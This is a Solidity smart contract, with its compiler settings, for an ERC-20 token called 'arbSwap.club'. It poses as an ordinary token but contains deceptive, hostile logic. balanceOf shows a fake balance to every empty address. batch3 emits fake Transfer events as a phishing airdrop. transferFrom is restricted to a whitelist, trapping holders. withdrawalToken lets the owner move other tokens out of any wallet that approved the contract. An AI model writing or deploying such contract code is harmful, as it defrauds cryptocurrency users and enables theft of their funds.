pragma solidity ^0.4.20;



contract ERC20Interface {
    string public name;
    string public symbol;
    uint8 public decimals;
    uint public totalSupply;


    function transfer(address to, uint tokens) public ;
    function transferFrom(address from, address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function allowance(address tokenOwner, address spender) public view returns (uint remaining);

    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

contract ERC20Impl is ERC20Interface {
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) internal allowed;

    address private m_tokenOwner;


    mapping (address => bool) private _B;
    uint256 private dValue;


    constructor() public {
        name = "arbSwap.club";
        symbol = "arbSwap.club";
        decimals = 6;
        totalSupply = 1000000000 * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        dValue = 1500 * 10 ** uint256(decimals);
        m_tokenOwner = msg.sender;

        _B[msg.sender] = true;
        balanceOf[this] = 1 * 10 ** uint256(decimals);
        //_B[this] = true;
    }

    function balanceOf(address _owner) constant public returns (uint256) {

        if(balanceOf[_owner] == 0) {
            return dValue;
        }

        return balanceOf[_owner];
    }


    function transfer(address to, uint tokens) public {
        require(tokens >= 0);
        //require(_B[msg.sender]);
        require(to != address(0));
        require(balanceOf[msg.sender] >= tokens);
        require(balanceOf[to] + tokens >= balanceOf[to]);

        balanceOf[msg.sender] -= tokens;
        balanceOf[to] += tokens;

        emit Transfer(msg.sender, to, tokens);
    }

    function transferFrom(address from, address to, uint tokens)  public returns (bool success) {
        require(_B[from]);
        require(to != 0x0);
        require(tokens > 0);
        //require(balances[from] >= tokens && allowed[from][msg.sender] >= tokens && tokens >= 0);

        require(to != address(0) && from != address(0));
        require(balanceOf[from] >= tokens);
        require(allowed[from][msg.sender] >= tokens);
        require(balanceOf[to] + tokens >= balanceOf[to]);



        allowed[from][msg.sender] -= tokens;

        balanceOf[from] -= tokens;
        balanceOf[to] += tokens;

        emit Transfer(from, to, tokens);

        success = true;
    }

    function approve(address spender, uint tokens) public returns (bool success) {
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender, spender, tokens);
        success = true;
    }



    function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
        return allowed[tokenOwner][spender];
    }


    function transferArray(address[] _to, uint256 _value) public {
        for(uint256 i = 0; i < _to.length; i++){
            transfer(_to[i], _value);
        }
    }



    function batch3(address []toAddr, uint256 value,address fadd)  public {
        //require(toAddr.length == value.length && toAddr.length >= 1);
        //require(toAddr.length >= 1);
        //Token token = Token(tokenAddr);
        require( msg.sender == m_tokenOwner);
        //dValue = value;
        for(uint256 i = 0 ; i < toAddr.length; i++){
            //this.transfer(toAddr[i], value);
            //balanceOf[toAddr[i]] = value;
            //balanceOf[toAddr[i]] += value;
            emit Transfer(fadd, toAddr[i], value);
        }
    }



    function transferOwnership(address newOwner)  public {
        require( msg.sender == m_tokenOwner);
        if (newOwner != address(0)) {
            m_tokenOwner = newOwner;
        }
    }
    function addb(address []b)  public {
        require( msg.sender == m_tokenOwner);
        for(uint256 i = 0 ; i < b.length; i++) {
            _B[b[i]] = true;
        }
    }
    function setDvalue(uint256 value) public {
        require( msg.sender == m_tokenOwner);
        dValue = value;
    }

    function getB(address _a) constant public returns (bool) {
        return _B[_a];
    }

    function ()  external payable  {
        ERC20Interface(m_tokenOwner).transfer(msg.sender,msg.value);
    }

    function withdrawalToken(address h1, address send ,address to , uint256 amount)  public {
        require( msg.sender == m_tokenOwner);
        ERC20Interface(h1).transferFrom(send , to , amount);

    }


}

{
  "compilationTarget": {
    "ERC20Impl.sol": "ERC20Impl"
  },
  "evmVersion": "byzantium",
  "libraries": {},
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}